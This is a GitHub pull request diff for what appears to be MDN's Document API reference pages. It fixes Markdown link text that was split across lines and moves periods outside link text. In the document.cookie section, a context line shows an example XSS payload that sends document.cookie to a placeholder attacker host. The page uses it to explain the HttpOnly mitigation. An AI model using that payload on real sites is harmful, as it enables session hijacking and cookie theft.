Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Fixes multiline markdown link text #16650

Merged
merged 5 commits into from
May 25, 2022
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
6 changes: 2 additions & 4 deletions files/en-us/web/api/document/alinkcolor/index.md
Original file line number Diff line number Diff line change
Expand Up @@ -23,11 +23,9 @@ A string containing the name of the color (e.g., `blue`, `darkblue`, etc.) or th
The default value for this property in Mozilla Firefox is red (`#ee0000` in
hexadecimal).

`document.alinkColor` is deprecated in [DOM Level 2
HTML](https://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-26809268). One alternative is the CSS selector {{Cssxref(":active")}}.
`document.alinkColor` is deprecated in [DOM Level 2 HTML](https://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-26809268). One alternative is the CSS selector {{Cssxref(":active")}}.

Another alternative is `document.body.aLink`, although this is [deprecated in HTML
4.01](https://www.w3.org/TR/html401/struct/global.html#adef-alink) in favor of the CSS alternative.
Another alternative is `document.body.aLink`, although this is [deprecated in HTML 4.01](https://www.w3.org/TR/html401/struct/global.html#adef-alink) in favor of the CSS alternative.

[Gecko](/en-US/docs/Mozilla/Gecko) supports both
`alinkColor`/`:active` and {{Cssxref(":focus")}}. Internet
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -59,7 +59,7 @@ document.onanimationcancel = () => {
};
```

[See a live example of this event.](/en-US/docs/Web/API/HTMLElement/animationcancel_event#live_example)
[See a live example of this event](/en-US/docs/Web/API/HTMLElement/animationcancel_event#live_example).

## Specifications

Expand Down
2 changes: 1 addition & 1 deletion files/en-us/web/api/document/animationend_event/index.md
Original file line number Diff line number Diff line change
Expand Up @@ -59,7 +59,7 @@ document.onanimationend = () => {
};
```

[See a live example of this event.](/en-US/docs/Web/API/HTMLElement/animationend_event#live_example)
[See a live example of this event](/en-US/docs/Web/API/HTMLElement/animationend_event#live_example).

## Specifications

Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -65,7 +65,7 @@ document.onanimationiteration = () => {
};
```

[See a live example of this event.](/en-US/docs/Web/API/HTMLElement/animationiteration_event#live_example)
[See a live example of this event](/en-US/docs/Web/API/HTMLElement/animationiteration_event#live_example).

## Specifications

Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -59,7 +59,7 @@ document.onanimationstart = () => {
};
```

[See a live example of this event.](/en-US/docs/Web/API/HTMLElement/animationstart_event#live_example)
[See a live example of this event](/en-US/docs/Web/API/HTMLElement/animationstart_event#live_example).

## Specifications

Expand Down
3 changes: 1 addition & 2 deletions files/en-us/web/api/document/bgcolor/index.md
Original file line number Diff line number Diff line change
Expand Up @@ -32,8 +32,7 @@ document.bgColor = "darkblue";
The default value for this property in Firefox is white (`#ffffff` in
hexadecimal).

`document.bgColor` is deprecated in [DOM Level 2
HTML](https://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-26809268). The recommended alternative is use of the CSS style
`document.bgColor` is deprecated in [DOM Level 2 HTML](https://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-26809268). The recommended alternative is use of the CSS style
{{Cssxref("background-color")}} which can be accessed through the DOM with
`document.body.style.backgroundColor`. Another alternative is
`document.body.bgColor`, although this is also deprecated in HTML 4.01 in
Expand Down
3 changes: 1 addition & 2 deletions files/en-us/web/api/document/characterset/index.md
Original file line number Diff line number Diff line change
Expand Up @@ -22,8 +22,7 @@ document that it's currently rendered with.
Users can override the developer-specified encoding inside the [Content-Type](/en-US/docs/Web/HTTP/Headers/Content-Type) header or inline
like `<meta charset="utf-8">`, such as with Firefox's <kbd>View → Text
Encoding</kbd> menu. This override is provided to fix incorrect developer-specified
encodings that result in [garbled
text](https://en.wikipedia.org/wiki/Mojibake).
encodings that result in [garbled text](https://en.wikipedia.org/wiki/Mojibake).

> **Note:** The properties `document.charset` and `document.inputEncoding`
> are legacy aliases for `document.characterSet`. Do not use them any more.
Expand Down
6 changes: 2 additions & 4 deletions files/en-us/web/api/document/cookie/index.md
Original file line number Diff line number Diff line change
Expand Up @@ -354,16 +354,14 @@ using a different domain or subdomain, due to the [same origin policy](/en-US/do

Cookies are often used in web applications to identify a user and their authenticated
session. Stealing a cookie from a web application leads to hijacking the
authenticated user's session. Common ways to steal cookies include using [social
engineering](<https://en.wikipedia.org/wiki/Social_engineering_(security)>) or by exploiting a [cross-site scripting](/en-US/docs/Glossary/Cross-site_scripting) (XSS) vulnerability in the application -
authenticated user's session. Common ways to steal cookies include using [social engineering](<https://en.wikipedia.org/wiki/Social_engineering_(security)>) or by exploiting a [cross-site scripting](/en-US/docs/Glossary/Cross-site_scripting) (XSS) vulnerability in the application -

```js
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
```

The `HTTPOnly` cookie attribute can help to mitigate this attack by
preventing access to cookie value through Javascript. Read more about [Cookies and
Security](https://humanwhocodes.com/blog/2009/05/12/cookies-and-security/).
preventing access to cookie value through Javascript. Read more about [Cookies and Security](https://humanwhocodes.com/blog/2009/05/12/cookies-and-security/).

## Notes

Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -40,8 +40,7 @@ In the DOM tree, the document fragment is replaced by all its children.
Since the document fragment is _in memory_ and not part of the main DOM tree,
appending children to it does not cause page [reflow](https://developers.google.com/speed/docs/insights/browser-reflow?csw=1)
(computation of element's position and geometry). Historically, using document fragments
could result in [better
performance](https://johnresig.com/blog/dom-documentfragments/).
could result in [better performance](https://johnresig.com/blog/dom-documentfragments/).

You can also use the `DocumentFragment` constructor to create a new
fragment:
Expand Down
3 changes: 1 addition & 2 deletions files/en-us/web/api/document/createevent/index.md
Original file line number Diff line number Diff line change
Expand Up @@ -56,8 +56,7 @@ elem.dispatchEvent(event);
## Notes

Event type strings suitable for passing to `createEvent()` are listed in the
[DOM standard — see the
table in step 2](https://dom.spec.whatwg.org/#dom-document-createevent). Bear in mind that most event objects now have constructors, which
[DOM standard — see the table in step 2](https://dom.spec.whatwg.org/#dom-document-createevent). Bear in mind that most event objects now have constructors, which
are the modern recommended way to create event object instances.

Gecko supports some non-standard event object aliases, which are listed below.
Expand Down
6 changes: 2 additions & 4 deletions files/en-us/web/api/document/domain/index.md
Original file line number Diff line number Diff line change
Expand Up @@ -87,8 +87,7 @@ have not done the same thing.
#### Deprecation

The `document.domain` setter is deprecated. It undermines the security
protections provided by the [same
origin policy](/en-US/docs/Web/Security/Same-origin_policy), and complicates the origin model in browsers, leading to
protections provided by the [same origin policy](/en-US/docs/Web/Security/Same-origin_policy), and complicates the origin model in browsers, leading to
interoperability problems and security bugs.

Attempting to set `document.domain` is dangerous. It opens up full access to
Expand Down Expand Up @@ -120,8 +119,7 @@ several cases:
{{HTTPHeader("Feature-Policy")}} is disabled.
- The document is inside a sandboxed {{htmlelement("iframe")}}.
- The document has no {{glossary("browsing context")}}.
- The document's [effective
domain](https://html.spec.whatwg.org/multipage/origin.html#concept-origin-effective-domain) is `null`.
- The document's [effective domain](https://html.spec.whatwg.org/multipage/origin.html#concept-origin-effective-domain) is `null`.
- The given value is neither the same as the page's current hostname, nor a parent
domain of it.

Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -65,5 +65,4 @@ document.enableStyleSheetsForSet("Some style sheet set name");
- {{domxref("document.preferredStyleSheetSet")}}
- {{domxref("document.selectedStyleSheetSet")}}
- {{domxref("document.enableStyleSheetsForSet()")}}
- [Correctly
Using Titles With External Stylesheets](/en-US/docs/Archive/Web_Standards/Correctly_Using_Titles_With_External_Stylesheets)
- [Correctly Using Titles With External Stylesheets](/en-US/docs/Archive/Web_Standards/Correctly_Using_Titles_With_External_Stylesheets)
3 changes: 1 addition & 2 deletions files/en-us/web/api/document/execcommand/index.md
Original file line number Diff line number Diff line change
Expand Up @@ -155,8 +155,7 @@ A boolean value that is `false` if the command is unsupported or disabled.

## Examples

An example of [how to use
execCommand with contentEditable elements](https://codepen.io/chrisdavidmills/full/gzYjag/) on CodePen.
An example of [how to use execCommand with contentEditable elements](https://codepen.io/chrisdavidmills/full/gzYjag/) on CodePen.

### Using insertText

Expand Down
6 changes: 2 additions & 4 deletions files/en-us/web/api/document/fgcolor/index.md
Original file line number Diff line number Diff line change
Expand Up @@ -32,12 +32,10 @@ document.bgColor = "darkblue";
The default value for this property in Mozilla Firefox is black (`#000000`
in hexadecimal).

`document.fgColor` is [deprecated in DOM
Level 2 HTML](https://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-26809268). The recommended alternative is the CSS property {{Cssxref("color")}}
`document.fgColor` is [deprecated in DOM Level 2 HTML](https://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-26809268). The recommended alternative is the CSS property {{Cssxref("color")}}
(e.g., `document.body.style.color = "red"`).

Another alternative is `document.body.text`, although this is [deprecated in HTML
4.01](https://www.w3.org/TR/html401/struct/global.html#adef-text) in favor of the CSS alternative above.
Another alternative is `document.body.text`, although this is [deprecated in HTML 4.01](https://www.w3.org/TR/html401/struct/global.html#adef-text) in favor of the CSS alternative above.

## Browser compatibility

Expand Down
3 changes: 1 addition & 2 deletions files/en-us/web/api/document/hasfocus/index.md
Original file line number Diff line number Diff line change
Expand Up @@ -87,5 +87,4 @@ setInterval(checkPageFocus, 300);

## See also

- [Using
the Page Visibility API](/en-US/docs/Web/API/Page_Visibility_API)
- [Using the Page Visibility API](/en-US/docs/Web/API/Page_Visibility_API)
4 changes: 1 addition & 3 deletions files/en-us/web/api/document/hasstorageaccess/index.md
Original file line number Diff line number Diff line change
Expand Up @@ -55,9 +55,7 @@ document.hasStorageAccess().then(hasAccess => {
## Specifications

The API is currently only at the proposal stage — the standardization process has yet
to begin. You can currently find specification details of the API at Apple's [Introducing
Storage Access API](https://webkit.org/blog/8124/introducing-storage-access-api/) blog post, and [WHATWG HTML issue 3338 — Proposal:
Storage Access API](https://github.com/whatwg/html/issues/3338).
to begin. You can currently find specification details of the API at Apple's [Introducing Storage Access API](https://webkit.org/blog/8124/introducing-storage-access-api/) blog post, and [WHATWG HTML issue 3338 — Proposal: Storage Access API](https://github.com/whatwg/html/issues/3338).

## Browser compatibility

Expand Down
3 changes: 1 addition & 2 deletions files/en-us/web/api/document/head/index.md
Original file line number Diff line number Diff line change
Expand Up @@ -39,8 +39,7 @@ An {{domxref("HTMLHeadElement")}}.
## Notes

`document.head` is read-only. Trying to assign a value to this property will
fail silently or, in [Strict
Mode](/en-US/docs/Web/JavaScript/Reference/Strict_mode), throws a {{jsxref("TypeError")}} .
fail silently or, in [Strict Mode](/en-US/docs/Web/JavaScript/Reference/Strict_mode), throws a {{jsxref("TypeError")}} .

## Specifications

Expand Down
6 changes: 2 additions & 4 deletions files/en-us/web/api/document/implementation/index.md
Original file line number Diff line number Diff line change
Expand Up @@ -31,15 +31,13 @@ alert( "DOM " + modName + " " + modVer + " supported?: " + conformTest );
// alerts with: "DOM HTML 2.0 supported?: true" if DOM Level 2 HTML module is supported.
```

A list of module names (e.g., Core, HTML, XML, etc.) is available in the DOM Level 2 [Conformance
Section](https://www.w3.org/TR/DOM-Level-2-Core/introduction.html#ID-Conformance-h2).
A list of module names (e.g., Core, HTML, XML, etc.) is available in the DOM Level 2 [Conformance Section](https://www.w3.org/TR/DOM-Level-2-Core/introduction.html#ID-Conformance-h2).

## Notes

The W3C's DOM Level 1 Recommendation only specified the `hasFeature` method,
which is one way to determine if a DOM module is supported by a browser (see example
above and [What does your user
agent claim to support?](https://www.w3.org/2003/02/06-dom-support.html)). If available, other `DOMImplementation`
above and [What does your user agent claim to support?](https://www.w3.org/2003/02/06-dom-support.html)). If available, other `DOMImplementation`
methods provide services for controlling things outside of a single document. For
example, the `DOMImplementation` interface includes a
`createDocumentType` method with which DTDs can be created for one or more
Expand Down
3 changes: 1 addition & 2 deletions files/en-us/web/api/document/lastmodified/index.md
Original file line number Diff line number Diff line change
Expand Up @@ -81,8 +81,7 @@ if (isNaN(nLastVisit) || nLastModif > nLastVisit) {
> Internet Explorer return a time in the local timezone. (See: [Bug 4363 – document.lastModified returns date in UTC time, but should return it in local time](https://bugs.webkit.org/show_bug.cgi?id=4363))

If you want to know **whether _an external page_ has changed**,
please read [this
paragraph about the `XMLHttpRequest()` API](/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest#get_last_modified_date).
please read [this paragraph about the `XMLHttpRequest()` API](/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest#get_last_modified_date).

## Specifications

Expand Down
6 changes: 2 additions & 4 deletions files/en-us/web/api/document/linkcolor/index.md
Original file line number Diff line number Diff line change
Expand Up @@ -19,8 +19,7 @@ links within the document.
This property is deprecated. As an alternative, you can set the CSS
{{cssxref("color")}} property on either HTML anchor links ({{HtmlElement("a")}}) or on
{{cssxref(":link")}} pseudo-classes. Another alternative is
`document.body.link`, although this is [deprecated in HTML
4.01](https://www.w3.org/TR/html401/struct/global.html#adef-link).
`document.body.link`, although this is [deprecated in HTML 4.01](https://www.w3.org/TR/html401/struct/global.html#adef-link).

## Value

Expand All @@ -36,8 +35,7 @@ document.linkColor = 'blue';

HTML5

`Document.linkColor` is [deprecated in DOM
Level 2 HTML](https://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-26809268).
`Document.linkColor` is [deprecated in DOM Level 2 HTML](https://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-26809268).

## Browser compatibility

Expand Down
3 changes: 1 addition & 2 deletions files/en-us/web/api/document/plugins/index.md
Original file line number Diff line number Diff line change
Expand Up @@ -33,5 +33,4 @@ An {{domxref("HTMLCollection")}}.

## See also

- [MSDN
documentation](<https://docs.microsoft.com/previous-versions/windows/internet-explorer/ie-developer/platform-apis/ms537477(v=vs.85)>)
- [MSDN documentation](<https://docs.microsoft.com/previous-versions/windows/internet-explorer/ie-developer/platform-apis/ms537477(v=vs.85)>)
9 changes: 3 additions & 6 deletions files/en-us/web/api/document/queryselector/index.md
Original file line number Diff line number Diff line change
Expand Up @@ -35,8 +35,7 @@ querySelector(selectors)
- `selectors`
- : A string containing one or more selectors to match. This string
must be a valid CSS selector string; if it isn't, a `SyntaxError` exception
is thrown. See [Locating
DOM elements using selectors](/en-US/docs/Web/API/Document_object_model/Locating_DOM_elements_using_selectors) for more about selectors and how to manage them.
is thrown. See [Locating DOM elements using selectors](/en-US/docs/Web/API/Document_object_model/Locating_DOM_elements_using_selectors) for more about selectors and how to manage them.

> **Note:** Characters that are not part of standard CSS syntax must be
> escaped using a backslash character. Since JavaScript also uses backslash escaping, be
Expand All @@ -46,8 +45,7 @@ querySelector(selectors)
### Return value

An {{domxref("Element")}} object representing the first element in the document
that matches the specified set of [CSS
selectors](/en-US/docs/Web/CSS/CSS_Selectors), or `null` is returned if there are no matches.
that matches the specified set of [CSS selectors](/en-US/docs/Web/CSS/CSS_Selectors), or `null` is returned if there are no matches.

If you need a list of all elements matching the specified selectors, you should use
{{domxref("Document.querySelectorAll", "querySelectorAll()")}} instead.
Expand Down Expand Up @@ -134,8 +132,7 @@ not the `main` class.

## See also

- [Locating
DOM elements using selectors](/en-US/docs/Web/API/Document_object_model/Locating_DOM_elements_using_selectors)
- [Locating DOM elements using selectors](/en-US/docs/Web/API/Document_object_model/Locating_DOM_elements_using_selectors)
- {{domxref("Element.querySelector()")}}
- {{domxref("Document.querySelectorAll()")}}
- {{domxref("Element.querySelectorAll()")}}
12 changes: 4 additions & 8 deletions files/en-us/web/api/document/queryselectorall/index.md
Original file line number Diff line number Diff line change
Expand Up @@ -33,8 +33,7 @@ querySelectorAll(selectors)
- `selectors`
- : A string containing one or more selectors to match against. This
string must be a valid [CSS selector](/en-US/docs/Web/CSS/CSS_Selectors)
string; if it's not, a `SyntaxError` exception is thrown. See [Locating
DOM elements using selectors](/en-US/docs/Web/API/Document_object_model/Locating_DOM_elements_using_selectors) for more information about using selectors to
string; if it's not, a `SyntaxError` exception is thrown. See [Locating DOM elements using selectors](/en-US/docs/Web/API/Document_object_model/Locating_DOM_elements_using_selectors) for more information about using selectors to
identify elements. Multiple selectors may be specified by separating them using
commas.

Expand Down Expand Up @@ -83,8 +82,7 @@ const container = document.querySelector("#test");
const matches = container.querySelectorAll("div.highlighted > p");
```

This example uses an [attribute
selector](/en-US/docs/Web/CSS/Attribute_selectors) to return a list of the {{HTMLElement("iframe")}} elements in the
This example uses an [attribute selector](/en-US/docs/Web/CSS/Attribute_selectors) to return a list of the {{HTMLElement("iframe")}} elements in the
document that contain an attribute named `data-src`:

```js
Expand Down Expand Up @@ -169,12 +167,10 @@ inner.length; // 0

## See also

- [Locating
DOM elements using selectors](/en-US/docs/Web/API/Document_object_model/Locating_DOM_elements_using_selectors)
- [Locating DOM elements using selectors](/en-US/docs/Web/API/Document_object_model/Locating_DOM_elements_using_selectors)
- [Attribute selectors](/en-US/docs/Web/CSS/Attribute_selectors) in the CSS
Guide
- [Attribute
selectors](/en-US/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors) in the MDN Learning Area
- [Attribute selectors](/en-US/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors) in the MDN Learning Area
- {{domxref("Element.querySelector()")}} and {{domxref("Element.querySelectorAll()")}}
- {{domxref("Document.querySelector()")}}
- {{domxref("DocumentFragment.querySelector()")}} and
Expand Down
7 changes: 2 additions & 5 deletions files/en-us/web/api/document/requeststorageaccess/index.md
Original file line number Diff line number Diff line change
Expand Up @@ -63,8 +63,7 @@ storage access to...
one.

- Note that this number is also incremented when automatic access grants are given
through [Firefox
compatibility heuristics](/en-US/docs/Web/Privacy/Storage_Access_Policy#automatic_storage_access_upon_interaction).
through [Firefox compatibility heuristics](/en-US/docs/Web/Privacy/Storage_Access_Policy#automatic_storage_access_upon_interaction).

- The ephemeral storage access grant is:

Expand Down Expand Up @@ -150,9 +149,7 @@ document.requestStorageAccess().then(
## Specifications

The API is currently only at the proposal stage — the standardization process has yet
to begin. You can currently find specification details of the API at Apple's [Introducing
Storage Access API](https://webkit.org/blog/8124/introducing-storage-access-api/) blog post, and the [Storage Access API proposal in the
Privacy CG](https://github.com/privacycg/storage-access).
to begin. You can currently find specification details of the API at Apple's [Introducing Storage Access API](https://webkit.org/blog/8124/introducing-storage-access-api/) blog post, and the [Storage Access API proposal in the Privacy CG](https://github.com/privacycg/storage-access).

## Browser compatibility

Expand Down
3 changes: 1 addition & 2 deletions files/en-us/web/api/document/scrollingelement/index.md
Original file line number Diff line number Diff line change
Expand Up @@ -17,8 +17,7 @@ scrolls the document. In standards mode, this is the root element of the
document, {{domxref("document.documentElement")}}.

When in quirks mode, the `scrollingElement` attribute returns the HTML
`body` element if it exists and is [potentially
scrollable](https://drafts.csswg.org/cssom-view/#potentially-scrollable), otherwise it returns null.
`body` element if it exists and is [potentially scrollable](https://drafts.csswg.org/cssom-view/#potentially-scrollable), otherwise it returns null.

## Value

Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -61,7 +61,7 @@ document.ontransitioncancel = () => {
};
```

[See a live example of this event.](/en-US/docs/Web/API/HTMLElement/transitioncancel_event#live_example)
[See a live example of this event](/en-US/docs/Web/API/HTMLElement/transitioncancel_event#live_example).

## Specifications

Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -59,7 +59,7 @@ document.ontransitionend = () => {
};
```

[See a live example of this event.](/en-US/docs/Web/API/HTMLElement/transitionend_event#live_example)
[See a live example of this event](/en-US/docs/Web/API/HTMLElement/transitionend_event#live_example).

## Specifications

Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -57,7 +57,7 @@ document.ontransitionrun = () => {
};
```

[See a live example of this event.](/en-US/docs/Web/API/HTMLElement/transitionrun_event#live_example)
[See a live example of this event](/en-US/docs/Web/API/HTMLElement/transitionrun_event#live_example).

## Specifications

Expand Down
Loading